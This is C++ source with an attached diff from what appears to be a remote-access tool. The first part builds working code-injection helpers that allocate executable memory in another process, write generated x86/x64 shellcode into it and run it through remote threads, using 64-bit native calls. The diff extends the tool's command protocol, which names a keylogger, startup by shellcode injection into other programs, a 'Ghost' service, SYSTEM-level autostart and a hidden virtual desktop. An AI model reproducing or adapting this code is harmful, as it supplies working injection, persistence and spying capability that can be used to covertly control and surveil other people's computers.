|
||||
};
|
||||
template<typename T>
|
||||
DWORD64 ToDWORD64(T v, detail::GCHelper*) {
|
||||
return DWORD64(v);
|
||||
}
|
||||
template<> DWORD64 ToDWORD64<const char*>(const char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
|
||||
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
|
||||
template<> DWORD64 ToDWORD64<char*>(char* v, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(v)); }
|
||||
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(v)); }
|
||||
|
||||
private:
|
||||
DWORD64 func;
|
||||
|
||||
public:
|
||||
X64Call(const char* funcName) : func(GetProcAddress64(0, GetNtDll64(), funcName)) {}
|
||||
X64Call(DWORD64 module, const char* funcName) : func(GetProcAddress64(0, module, funcName)) {}
|
||||
|
||||
operator DWORD64() { return func; }
|
||||
|
||||
DWORD64 operator()() { return func && x64Call(func, 0); }
|
||||
|
||||
#define __TO_DWORD64_DECL(n) ToDWORD64(__PARAM(n), &helper)
|
||||
#define TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n) ,
|
||||
#define END_TO_DWORD64_DECL(n) __TO_DWORD64_DECL(n)
|
||||
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> DWORD64 operator()(DECL_PARAMS_LIST(n)) { detail::GCHelper helper; return func && x64Call(func, n, REPEAT(n, TO_DWORD64_DECL, END_TO_DWORD64_DECL)); }
|
||||
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
|
||||
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)
|
||||
#undef CALLERS
|
||||
#undef END_TO_DWORD64_DECL
|
||||
#undef TO_DWORD64_DECL
|
||||
#undef __TO_DWORD64_DECL
|
||||
};
|
||||
|
||||
inline VOID WINAPI SetLastError64(DWORD64 status)
|
||||
{
|
||||
typedef ULONG (WINAPI *RTL_NTSTATUS_TO_DOS_ERROR)(NTSTATUS Status);
|
||||
typedef ULONG (WINAPI *RTL_SET_LAST_WIN32_ERROR)(NTSTATUS Status);
|
||||
|
||||
static RTL_NTSTATUS_TO_DOS_ERROR RtlNtStatusToDosError = (RTL_NTSTATUS_TO_DOS_ERROR)GetProcAddress(detail::hNtDll, "RtlNtStatusToDosError");
|
||||
static RTL_SET_LAST_WIN32_ERROR RtlSetLastWin32Error = (RTL_SET_LAST_WIN32_ERROR)GetProcAddress(detail::hNtDll, "RtlSetLastWin32Error");
|
||||
|
||||
if (RtlNtStatusToDosError && RtlSetLastWin32Error)
|
||||
RtlSetLastWin32Error(RtlNtStatusToDosError((DWORD)status));
|
||||
}
|
||||
|
||||
inline SIZE_T WINAPI VirtualQueryEx64(HANDLE hProcess, DWORD64 lpAddress, MEMORY_BASIC_INFORMATION64* lpBuffer, SIZE_T dwLength)
|
||||
{
|
||||
static X64Call NtQueryVirtualMemory("NtQueryVirtualMemory");
|
||||
if (!NtQueryVirtualMemory) return 0;
|
||||
|
||||
DWORD64 ret = 0;
|
||||
DWORD64 status = NtQueryVirtualMemory(hProcess, lpAddress, 0, lpBuffer, dwLength, &ret);
|
||||
if (!status) return (SIZE_T)ret;
|
||||
|
||||
SetLastError64(ret);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
inline DWORD64 WINAPI VirtualAllocEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect)
|
||||
{
|
||||
static X64Call NtAllocateVirtualMemory("NtAllocateVirtualMemory");
|
||||
if (!NtAllocateVirtualMemory) return 0;
|
||||
|
||||
DWORD64 tmpAddr = lpAddress;
|
||||
DWORD64 tmpSize = dwSize;
|
||||
DWORD64 ret = NtAllocateVirtualMemory(hProcess, &tmpAddr, 0, &tmpSize, flAllocationType, flProtect);
|
||||
if (!ret) return tmpAddr;
|
||||
|
||||
SetLastError64(ret);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
inline BOOL WINAPI VirtualFreeEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD dwFreeType)
|
||||
{
|
||||
static X64Call NtFreeVirtualMemory("NtFreeVirtualMemory");
|
||||
if (!NtFreeVirtualMemory) return 0;
|
||||
|
||||
DWORD64 tmpAddr = lpAddress;
|
||||
DWORD64 tmpSize = dwSize;
|
||||
DWORD64 ret = NtFreeVirtualMemory(hProcess, &tmpAddr, &tmpSize, dwFreeType);
|
||||
if (!ret) return TRUE;
|
||||
|
||||
SetLastError64(ret);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
inline BOOL WINAPI VirtualProtectEx64(HANDLE hProcess, DWORD64 lpAddress, SIZE_T dwSize, DWORD flNewProtect, DWORD* lpflOldProtect)
|
||||
{
|
||||
static X64Call NtProtectVirtualMemory("NtProtectVirtualMemory");
|
||||
if (!NtProtectVirtualMemory) return 0;
|
||||
|
||||
DWORD64 tmpAddr = lpAddress;
|
||||
DWORD64 tmpSize = dwSize;
|
||||
DWORD64 ret = NtProtectVirtualMemory(hProcess, &tmpAddr, &tmpSize, flNewProtect, lpflOldProtect);
|
||||
if (!ret) return TRUE;
|
||||
|
||||
SetLastError64(ret);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
inline BOOL WINAPI ReadProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead)
|
||||
{
|
||||
static X64Call NtReadVirtualMemory("NtReadVirtualMemory");
|
||||
if (!NtReadVirtualMemory) return 0;
|
||||
|
||||
DWORD64 read = 0;
|
||||
DWORD64 ret = NtReadVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &read);
|
||||
if (!ret) {
|
||||
if (lpNumberOfBytesRead) *lpNumberOfBytesRead = (SIZE_T)read;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
SetLastError64(ret);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
inline BOOL WINAPI WriteProcessMemory64(HANDLE hProcess, DWORD64 lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten)
|
||||
{
|
||||
static X64Call NtWriteVirtualMemory("NtWriteVirtualMemory");
|
||||
if (!NtWriteVirtualMemory) return 0;
|
||||
|
||||
DWORD64 written = 0;
|
||||
DWORD64 ret = NtWriteVirtualMemory(hProcess, lpBaseAddress, lpBuffer, nSize, &written);
|
||||
if (!ret) {
|
||||
if (lpNumberOfBytesWritten) *lpNumberOfBytesWritten = (SIZE_T)written;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
SetLastError64(ret);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
inline HANDLE WINAPI CreateRemoteThread64(HANDLE hProcess,
|
||||
LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
SIZE_T dwStackSize,
|
||||
DWORD64 lpStartAddress,
|
||||
DWORD64 lpParameter,
|
||||
DWORD dwCreationFlags,
|
||||
LPDWORD lpThreadId)
|
||||
{
|
||||
static X64Call RtlCreateUserThread("RtlCreateUserThread");
|
||||
if (!RtlCreateUserThread) return 0;
|
||||
|
||||
BOOLEAN createSuspended = dwCreationFlags & CREATE_SUSPENDED;
|
||||
ULONG stackSize = dwStackSize;
|
||||
DWORD64 handle = 0;
|
||||
DWORD64 status = RtlCreateUserThread(hProcess, lpThreadAttributes, createSuspended, 0, (dwCreationFlags & STACK_SIZE_PARAM_IS_A_RESERVATION) ? &stackSize : NULL, &stackSize, lpStartAddress, lpParameter, &handle, NULL);
|
||||
if (!status) return (HANDLE)handle;
|
||||
|
||||
SetLastError64(status);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#endif
|
||||
|
||||
class ProcessWriter
|
||||
{
|
||||
public:
|
||||
template<typename T>
|
||||
ProcessWriter(HANDLE hProcess, T content, SIZE_T dwSize, DWORD flProtect = PAGE_READWRITE)
|
||||
: _autoRelease(TRUE)
|
||||
, _hProcess(hProcess)
|
||||
, _dw64Address(0)
|
||||
, _dwSize(dwSize)
|
||||
{
|
||||
if (!(_dw64Address = VirtualAllocEx64(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, flProtect)))
|
||||
return;
|
||||
SIZE_T written = 0;
|
||||
if (!WriteProcessMemory64(hProcess, _dw64Address, (PVOID)content, dwSize, &written) || written != dwSize) {
|
||||
VirtualFreeEx64(hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
|
||||
_dw64Address = 0;
|
||||
}
|
||||
}
|
||||
~ProcessWriter() {
|
||||
if (_dw64Address && _autoRelease)
|
||||
VirtualFreeEx64(_hProcess, _dw64Address, _dwSize, MEM_DECOMMIT);
|
||||
}
|
||||
void SetDontRelese() {
|
||||
_autoRelease = FALSE;
|
||||
}
|
||||
operator DWORD64() {
|
||||
return (DWORD64)_dw64Address;
|
||||
}
|
||||
#ifdef _WIN64
|
||||
template<typename T>
|
||||
operator T*() {
|
||||
return (T*)_dw64Address;
|
||||
}
|
||||
#endif
|
||||
|
||||
private:
|
||||
BOOL _autoRelease;
|
||||
HANDLE _hProcess;
|
||||
#ifdef _WIN64
|
||||
LPVOID _dw64Address;
|
||||
#else
|
||||
DWORD64 _dw64Address;
|
||||
#endif
|
||||
SIZE_T _dwSize;
|
||||
};
|
||||
|
||||
namespace {
|
||||
|
||||
std::string makeShellCode(int cnt, bool is64Bit)
|
||||
{
|
||||
if(is64Bit) {
|
||||
// see X64Delegator_disassemble for details
|
||||
static const unsigned char kTmpl_x64[] = { 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xd9, 0x48, 0x85, 0xc9, 0x74, 0x1d, 0x48, 0x83,
|
||||
0x39, 0x00, 0x48, 0x8b, 0x41, 0x08, 0x74, 0x0b, 0xff, 0xd0, 0x48, 0x89, 0x03, 0x48, 0x83, 0xc4,
|
||||
0x20, 0x5b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0x48, 0xff, 0xe0, 0x33, 0xc0, 0x48, 0x83, 0xc4,
|
||||
0x20, 0x5b, 0xc3 };
|
||||
|
||||
std::string templ_x64((const char*)kTmpl_x64, sizeof(kTmpl_x64));
|
||||
if(!cnt) return templ_x64;
|
||||
|
||||
templ_x64[13] += (cnt <= 4) ? cnt * 4 : (cnt - 4) * 9 + 16;
|
||||
if(cnt >= 1)
|
||||
templ_x64[16] = 0x3b;
|
||||
|
||||
if(cnt < 3) {
|
||||
if(cnt >= 1) {
|
||||
templ_x64.insert(22, "\x48\x8b\x49\x10", 4);
|
||||
}
|
||||
if(cnt >= 2) {
|
||||
templ_x64.insert(22, "\x48\x8b\x51\x18", 4);
|
||||
}
|
||||
}
|
||||
else {
|
||||
templ_x64[20] = 0x49;
|
||||
templ_x64[21] = 0x10;
|
||||
templ_x64.insert(22, "\x48\x8B\x53\x18", 4);
|
||||
templ_x64.insert(22, "\x4c\x8b\x43\x20", 4);
|
||||
templ_x64.insert(22, "\x48\x8b\x43\x08", 4);
|
||||
if(cnt >= 4) {
|
||||
templ_x64.insert(26, "\x4c\x8b\x4b\x28", 4);
|
||||
}
|
||||
if(cnt >= 5) {
|
||||
templ_x64.insert(18, "\x4c\x8B\x53\x30", 4);
|
||||
templ_x64.insert(42, "\x4c\x89\x54\x24\x20", 5);
|
||||
}
|
||||
if(cnt >= 6) {
|
||||
templ_x64[21] = 0x38;
|
||||
templ_x64.insert(22, "\x4c\x8b\x5b\x30", 4);
|
||||
templ_x64[50] = 0x28;
|
||||
templ_x64.insert(51, "\x4c\x89\x5c\x24\x20", 5);
|
||||
}
|
||||
// TODO
|
||||
}
|
||||
return templ_x64;
|
||||
}
|
||||
// see X86Delegator_disassemble for details
|
||||
static const unsigned char kTmpl_x86[] = { 0x55, 0x8b, 0xec, 0x51, 0x83, 0x7d, 0x08, 0x00, 0x74, 0x0c, 0x8b ,0x45, 0x08, 0x8b, 0x08, 0xff,
|
||||
0xd0, 0x89, 0x45, 0xfc, 0xeb, 0x07, 0xc7, 0x45, 0xfc, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0xfc,
|
||||
0x8b, 0xe5, 0x5d, 0xc3 };
|
||||
std::string templ_x86((const char*)kTmpl_x86, sizeof(kTmpl_x86));
|
||||
// je distance
|
||||
templ_x86[9] += cnt * 7;
|
||||
templ_x86[16] += ((1 - cnt) % 3 + 3) % 3;
|
||||
int pos = 13;
|
||||
for(int i = 0; i < cnt; ++i) {
|
||||
switch(i % 3) {
|
||||
case 0:
|
||||
templ_x86.insert(pos, "\x8b\x48\xcc\x51\x8b\x55\x08", 7);
|
||||
break;
|
||||
case 1:
|
||||
templ_x86.insert(pos, "\x8b\x42\xcc\x50\x8b\x4d\x08", 7);
|
||||
break;
|
||||
case 2:
|
||||
templ_x86.insert(pos, "\x8b\x51\xcc\x52\x8b\x45\x08", 7);
|
||||
break;
|
||||
}
|
||||
templ_x86[pos + 2] = (cnt - i) << 2;
|
||||
pos += 7;
|
||||
}
|
||||
switch(cnt % 3) {
|
||||
case 0:
|
||||
templ_x86[pos + 1] = 0x08;
|
||||
break;
|
||||
case 1:
|
||||
templ_x86[pos + 1] = 0x02;
|
||||
break;
|
||||
case 2:
|
||||
templ_x86[pos + 1] = 0x11;
|
||||
break;
|
||||
}
|
||||
return templ_x86;
|
||||
}
|
||||
|
||||
template<int argCnt, bool is64Bit>
|
||||
const std::string& shellCode() {
|
||||
static std::string kCode = makeShellCode(argCnt, is64Bit);
|
||||
return kCode;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
class YAPICall
|
||||
{
|
||||
template<typename T>
|
||||
DWORD64 ToDWORD64(T v, HANDLE hProcess, detail::GCHelper*) {
|
||||
return DWORD64(v);
|
||||
}
|
||||
template<typename char_t>
|
||||
struct StringHelper : detail::GCBase
|
||||
{
|
||||
StringHelper(HANDLE hProcess, const char_t* v) : name(0) {
|
||||
name = new ProcessWriter(hProcess, v, (tcslen(v) + 1) * sizeof(char_t));
|
||||
}
|
||||
virtual void gc() { delete name; }
|
||||
virtual DWORD64 toDWORD64() { return (DWORD64)*name; }
|
||||
private:
|
||||
ProcessWriter* name;
|
||||
};
|
||||
template<> DWORD64 ToDWORD64<const char*>(const char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
|
||||
template<> DWORD64 ToDWORD64<const wchar_t*>(const wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
|
||||
template<> DWORD64 ToDWORD64<char*>(char* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<char>(hProcess, v)); }
|
||||
template<> DWORD64 ToDWORD64<wchar_t*>(wchar_t* v, HANDLE hProcess, detail::GCHelper* helper) { return helper->add(new StringHelper<wchar_t>(hProcess, v)); }
|
||||
|
||||
private:
|
||||
HANDLE _hProcess;
|
||||
ProcessWriter* _sc;
|
||||
DWORD64 func;
|
||||
BOOL _dw64Ret;
|
||||
DWORD _dwTimeout;
|
||||
BOOL _is64Bit;
|
||||
|
||||
template<int argCnt>
|
||||
bool initShellCoder(ProcessWriter*& sc) {
|
||||
if(sc) return false;
|
||||
const std::string& shellcode = _is64Bit ? shellCode<argCnt, 1>() : shellCode<argCnt, 0>();
|
||||
sc = new ProcessWriter(_hProcess, shellcode.data(), shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
|
||||
return true;
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
DWORD64 call(const std::vector<T>& param) {
|
||||
ProcessWriter p(_hProcess, ¶m[0], sizeof(T) * (param.size()));
|
||||
if (!p) return -1;
|
||||
HANDLE hThread = 0;
|
||||
if (_is64Bit)
|
||||
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
|
||||
else {
|
||||
#ifdef _WIN64
|
||||
// see X64toX86_disassemble for details
|
||||
static const unsigned char kTmpl_x64_to_x86[] = { 0x48, 0x89, 0x4c, 0x24, 0x08, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x8b, 0x48,
|
||||
0x08, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x6a, 0x33, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x83, 0x04, 0x24,
|
||||
0x05, 0xcb, 0xff, 0xd0, 0xe8, 0x00, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x04, 0x23, 0x00, 0x00,
|
||||
0x00, 0x83, 0x04, 0x24, 0x0d, 0xcb, 0x48, 0x83, 0xc4, 0x28, 0xc3 };
|
||||
std::string x86_shellcode((char*)kTmpl_x64_to_x86, sizeof(kTmpl_x64_to_x86));
|
||||
ProcessWriter* sc = new ProcessWriter(_hProcess, x86_shellcode.data(), x86_shellcode.size() + 1, PAGE_EXECUTE_READWRITE);
|
||||
sc->SetDontRelese();
|
||||
hThread = CreateRemoteThread64(_hProcess, NULL, 0, *_sc, p, 0, NULL);
|
||||
#else
|
||||
hThread = CreateRemoteThread(_hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)(DWORD64)*_sc, (PVOID)(DWORD64)p, 0, NULL);
|
||||
#endif
|
||||
}
|
||||
if (!hThread) return -1;
|
||||
if (WaitForSingleObject(hThread, _dwTimeout) != WAIT_OBJECT_0) {
|
||||
_sc->SetDontRelese();
|
||||
CloseHandle(hThread);
|
||||
return -1;
|
||||
}
|
||||
if (!_is64Bit || !_dw64Ret) {
|
||||
DWORD ret = 0;
|
||||
GetExitCodeThread(hThread, &ret);
|
||||
CloseHandle(hThread);
|
||||
return ret;
|
||||
}
|
||||
DWORD64 ret = 0;
|
||||
CloseHandle(hThread);
|
||||
ReadProcessMemory64(_hProcess, p, &ret, sizeof(DWORD64), NULL);
|
||||
return ret;
|
||||
}
|
||||
|
||||
public:
|
||||
YAPICall(HANDLE hProcess, const char* funcName)
|
||||
: _hProcess(hProcess)
|
||||
, _sc(0)
|
||||
, func(GetProcAddress64(hProcess, GetNtDll64(), funcName))
|
||||
, _dw64Ret(FALSE)
|
||||
, _dwTimeout(INFINITE)
|
||||
, _is64Bit(detail::is64BitOS)
|
||||
{
|
||||
}
|
||||
YAPICall(HANDLE hProcess, DWORD64 moudle, const char* funcName)
|
||||
: _hProcess(hProcess)
|
||||
, _sc(0)
|
||||
, func(GetProcAddress64(hProcess, moudle, funcName))
|
||||
, _dw64Ret(FALSE)
|
||||
, _dwTimeout(INFINITE)
|
||||
, _is64Bit(detail::is64BitOS)
|
||||
{
|
||||
}
|
||||
YAPICall(HANDLE hProcess, const TCHAR* modName, const char* funcName)
|
||||
: _hProcess(hProcess)
|
||||
, _sc(0)
|
||||
, func(GetProcAddress64(hProcess, GetModuleHandle64(hProcess, modName), funcName))
|
||||
, _dw64Ret(FALSE)
|
||||
, _dwTimeout(INFINITE)
|
||||
, _is64Bit(detail::is64BitOS)
|
||||
{
|
||||
if(!func) {
|
||||
func = GetProcAddress(hProcess, GetModuleHandle(hProcess, modName), funcName);
|
||||
_is64Bit = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
~YAPICall() { if (_sc) delete _sc; }
|
||||
|
||||
operator DWORD64() { return func; }
|
||||
|
||||
YAPICall& Dw64() { _dw64Ret = TRUE; return *this; }
|
||||
YAPICall& Timeout(DWORD dwTimeout) { _dwTimeout = dwTimeout; return *this; }
|
||||
|
||||
#define TO_DWORD64_ARRAY_DECL(n) param[n + 1] = ToDWORD64(__PARAM(n), _hProcess, &helper);
|
||||
#define TO_DWORD_ARRAY_DECL(n) param[n] = (DWORD)ToDWORD64(__PARAM(n), _hProcess, &helper);
|
||||
|
||||
#define CALLERSX(n) \
|
||||
DWORD64 operator()(DECL_PARAMS_LIST(n)) {\
|
||||
bool b = initShellCoder<n>(_sc);\
|
||||
if(!b || !func || !_sc || !*_sc) return -1;\
|
||||
detail::GCHelper helper;\
|
||||
if(_is64Bit) {\
|
||||
std::vector<DWORD64> param(n + 2, 0);\
|
||||
param[0] = _dw64Ret;\
|
||||
param[1] = func;\
|
||||
REPEAT(n, TO_DWORD64_ARRAY_DECL, TO_DWORD64_ARRAY_DECL)\
|
||||
return call<DWORD64>(param);\
|
||||
}\
|
||||
std::vector<DWORD> param(n + 1, 0);\
|
||||
param[0] = (DWORD)func;\
|
||||
REPEAT(n, TO_DWORD_ARRAY_DECL, TO_DWORD_ARRAY_DECL)\
|
||||
return call<DWORD>(param);\
|
||||
}
|
||||
#define CALLERS(n) template<DECL_VOID_TEMPLATE_ARGS(n)> CALLERSX(n)
|
||||
CALLERSX( 0)
|
||||
CALLERS( 1) CALLERS( 2) CALLERS( 3) CALLERS( 4) CALLERS( 5) CALLERS( 6) /*CALLERS( 7) CALLERS( 8) CALLERS( 9) CALLERS(10)
|
||||
CALLERS(11) CALLERS(12) CALLERS(13) CALLERS(14) CALLERS(15) CALLERS(16) CALLERS(17) CALLERS(18) CALLERS(19) CALLERS(20)*/
|
||||
#undef CALLERSX
|
||||
#undef CALLERS
|
||||
#undef TO_DWORD_ARRAY_DECL
|
||||
#undef TO_DWORD64_ARRAY_DECL
|
||||
};
|
||||
|
||||
#define YAPI(h, m, f) YAPICall(h, m, #f)
|
||||
}
|
||||
+53
-2
@@ -312,6 +312,21 @@ enum {
|
||||
TOKEN_DRAWING_BOARD=151, // 画板
|
||||
COMMAND_SCREEN_ROI = 152, // 屏幕区域
|
||||
COMMAND_SCREEN_WINDOW = 153, // 窗口捕获(标题字符串,空串=恢复全屏)
|
||||
COMMAND_SCREEN_SIGNATURE = 154,
|
||||
COMMAND_QUERY_LOG = 155,
|
||||
TOKEN_REPORT_LOG = 156,
|
||||
COMMAND_FORBIDDEN = 157,
|
||||
CMD_CUSTOM_CURSOR = 158,
|
||||
COMMAND_QUERY_ACTIVITY = 159, // 服务端 → 客户端:索取历史活动
|
||||
TOKEN_REPORT_ACTIVITY = 160, // 客户端 → 服务端:上报历史活动
|
||||
|
||||
COMMAND_CHAT = 161, // 服务端 → 客户端:发起远程交谈(双向聊天)
|
||||
COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框
|
||||
COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移)
|
||||
COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端:打开隐私屏幕(虚拟桌面,SimplePlugins 迁移)
|
||||
COMMAND_DRAWING_BOARD_PLUGIN = 165, // 服务端 → 客户端:打开远程画板(SimplePlugins 迁移)
|
||||
COMMAND_TLS_ENABLE = 166, // 服务端 → 客户端:启用 TLS 传输(写注册表,下次启动生效)
|
||||
COMMAND_TLS_DISABLE = 167, // 服务端 → 客户端:停用 TLS 传输(写注册表,下次启动生效)
|
||||
|
||||
TOKEN_DECRYPT = 199,
|
||||
TOKEN_REGEDIT = 200, // 注册表
|
||||
@@ -350,9 +365,38 @@ enum {
|
||||
COMMAND_TEXT_REPLACE = 249,
|
||||
TOKEN_CLIP_TEXT = 250,
|
||||
TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器
|
||||
CMD_FILE_SPEED = 252, // 文件传输速度下发: [cmd:1][chunkKb:uint16 LE][durationMs:uint16 LE]
|
||||
|
||||
COMMAND_CONNECTION = 253, // 连接管理(服务端→客户端:查询/刷新连接列表)
|
||||
COMMAND_KILL_CONNECTION = 254, // 强制断开指定连接(服务端→客户端)
|
||||
TOKEN_CONNECTION_LIST = 255, // 连接列表响应(客户端→服务端)
|
||||
};
|
||||
|
||||
// 单条连接记录(客户端 → 服务端)。地址字段存网络字节序(IPv4 展开为前 4 字节、IPv6 为 16 字节),
|
||||
// 端口字段存主机字节序(客户端 ntohs 转换)。断连时反向还原:地址拼回网络序 DWORD、端口 htons 转回
|
||||
// 网络序,填回 MIB_TCPROW 调 SetTcpEntry(iphlpapi 的地址/端口均为网络序)。
|
||||
#pragma pack(push, 1)
|
||||
struct ConnectionInfo {
|
||||
uint8_t proto; // 1=TCP, 2=UDP [1]
|
||||
uint8_t af; // 2=AF_INET(IPv4), 23=AF_INET6(IPv6) [1]
|
||||
uint32_t pid; // 所属进程 PID [4]
|
||||
uint8_t localAddr[16]; // 网络字节序;IPv4 存 [0..3],IPv6 存 [0..15],其余 0 [16]
|
||||
uint16_t localPort; // 主机字节序(小端) [2]
|
||||
uint8_t remoteAddr[16]; // 网络字节序,同上 [16]
|
||||
uint16_t remotePort; // 主机字节序,同上 [2]
|
||||
uint32_t state; // TCP: MIB_TCP_STATE_*;UDP: 0 [4]
|
||||
char procName[64]; // 进程映像名 UTF-8,NUL 填充 [64]
|
||||
}; // 合计 110
|
||||
#pragma pack(pop)
|
||||
|
||||
static_assert(sizeof(ConnectionInfo) == 110, "ConnectionInfo must be exactly 110 bytes");
|
||||
|
||||
#pragma pack(push, 1)
|
||||
struct SignatureResp {
|
||||
char msg[64];
|
||||
char signature[64];
|
||||
};
|
||||
|
||||
struct TextReplace {
|
||||
uint8_t cmd;
|
||||
uint8_t type;
|
||||
@@ -736,6 +780,8 @@ enum TestRunType {
|
||||
Startup_InjSC, // 远程 Shell code (注入其他程序执行shell code )
|
||||
Startup_GhostMsc, // Windows 服务
|
||||
Startup_TestRunMsc, // Windows 服务
|
||||
Startup_GhostSystem, // SYSTEM 权限运行(随开机启动)
|
||||
Startup_TestRunSystem, // SYSTEM 权限运行(随开机启动)
|
||||
};
|
||||
|
||||
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
|
||||
@@ -1017,6 +1063,7 @@ enum LOGIN_RES {
|
||||
RES_CLIENT_ID = 16, // 客户端唯一ID
|
||||
RES_PID = 17, // 进程ID
|
||||
RES_FILESIZE = 18, // 文件大小
|
||||
RES_TLS = 19, // TLS 传输启用标志 0/1
|
||||
RES_MAX,
|
||||
};
|
||||
|
||||
@@ -1098,6 +1145,7 @@ enum AuthStatus {
|
||||
UNAUTHORIZED = 0, // 未授权
|
||||
AUTHED_BY_SUPER = 1, // 由超级管理员授权
|
||||
AUTHED_BY_ADMIN = 2, // 由管理员授权
|
||||
AUTH_FORBIDDEN = 9,
|
||||
};
|
||||
|
||||
// 固定1024字节
|
||||
@@ -1168,7 +1216,9 @@ typedef struct MasterSettings {
|
||||
char GetPluginUrl[80]; // Since 2026-04-08
|
||||
char Authorized; // Since 2026-05-15
|
||||
char IsTrail; // Since 2026-05-15
|
||||
char Reserved[106]; // Since 2025-11-27
|
||||
uint16_t TransferChunkKb; // Since 2026-10-07 文件传输速度 chunkKb(随登录配置下发)
|
||||
uint16_t TransferDurationMs; // Since 2026-10-07 文件传输速度 durationMs(0=不限速)
|
||||
char Reserved[102]; // Since 2025-11-27
|
||||
} MasterSettings;
|
||||
#pragma pack(pop)
|
||||
|
||||
@@ -1293,7 +1343,8 @@ typedef struct ScreenSettings {
|
||||
int ScreenType; // 偏移 40, 屏幕类型(0: GDI, 1: DXGI, 2: Virtual)
|
||||
int AudioEnabled; // 偏移 44, 音频传输(0: 禁用, 1: 启用)
|
||||
int EncodeLevel; // 偏移 48, 编码等级
|
||||
char Reserved[44]; // 偏移 52, 保留字段(新能力参数从此处扩展)
|
||||
int CustomCursor; // 偏移 52, 自定义光标
|
||||
char Reserved[40]; // 偏移 56, 保留字段(新能力参数从此处扩展)
|
||||
uint32_t Capabilities; // 偏移 96, 能力位标志(放最后)
|
||||
} ScreenSettings; // 总大小 100 字节
|
||||
|
||||
|
||||
@@ -16,6 +16,7 @@
|
||||
#define ENABLE_AUDIO_MNG TRUE // 语音管理
|
||||
#define ENABLE_VIDEO_MNG TRUE // 视频管理
|
||||
#define ENABLE_SERVICE_MNG TRUE // 服务管理
|
||||
#define ENABLE_CONNECTION_MNG TRUE // 连接管理
|
||||
#define ENABLE_REGISTRY TRUE // 注册表管理
|
||||
#define ENABLE_KEYBOARD TRUE // 键盘记录
|
||||
|
||||
|
||||
@@ -256,6 +256,18 @@ public:
|
||||
}
|
||||
};
|
||||
|
||||
// 文件传输速度:读取 [transfer] 节 ChunkKb / DurationMs,缺省 64KB/50ms(≈1.25MB/s),
|
||||
// 并夹到安全范围。服务端(THIS_CFG)与客户端(iniFile(CLIENT_PATH))共用此逻辑,保证
|
||||
// 各 InitFileUpload 调用点读到的档位一致(库按进程级引用计数只在首次设定速度,见
|
||||
// docs/FileTransferSpeed_Design.md)。
|
||||
inline void GetTransferSpeed(config& cfg, int& chunkKb, int& durMs)
|
||||
{
|
||||
chunkKb = cfg.GetInt("transfer", "ChunkKb", 64);
|
||||
durMs = cfg.GetInt("transfer", "DurationMs", 50);
|
||||
if (chunkKb <= 0 || chunkKb > 1024) chunkKb = 64;
|
||||
if (durMs < 0 || durMs > 2000) durMs = 50;
|
||||
}
|
||||
|
||||
// 配置读取类: 注册表配置(带键句柄缓存)
|
||||
// 注意:缓存操作非线程安全,但竞态条件只会导致少量重复打开,不会崩溃
|
||||
class iniFile : public config
|
||||
|
||||
+25
-3
@@ -4,6 +4,8 @@
|
||||
#include <iphlpapi.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <WinInet.h>
|
||||
#include <map>
|
||||
#include <mutex>
|
||||
#include "logger.h"
|
||||
#include "jsoncpp/json.h"
|
||||
|
||||
@@ -200,6 +202,18 @@ public:
|
||||
{
|
||||
if (IP.empty()) return "";
|
||||
|
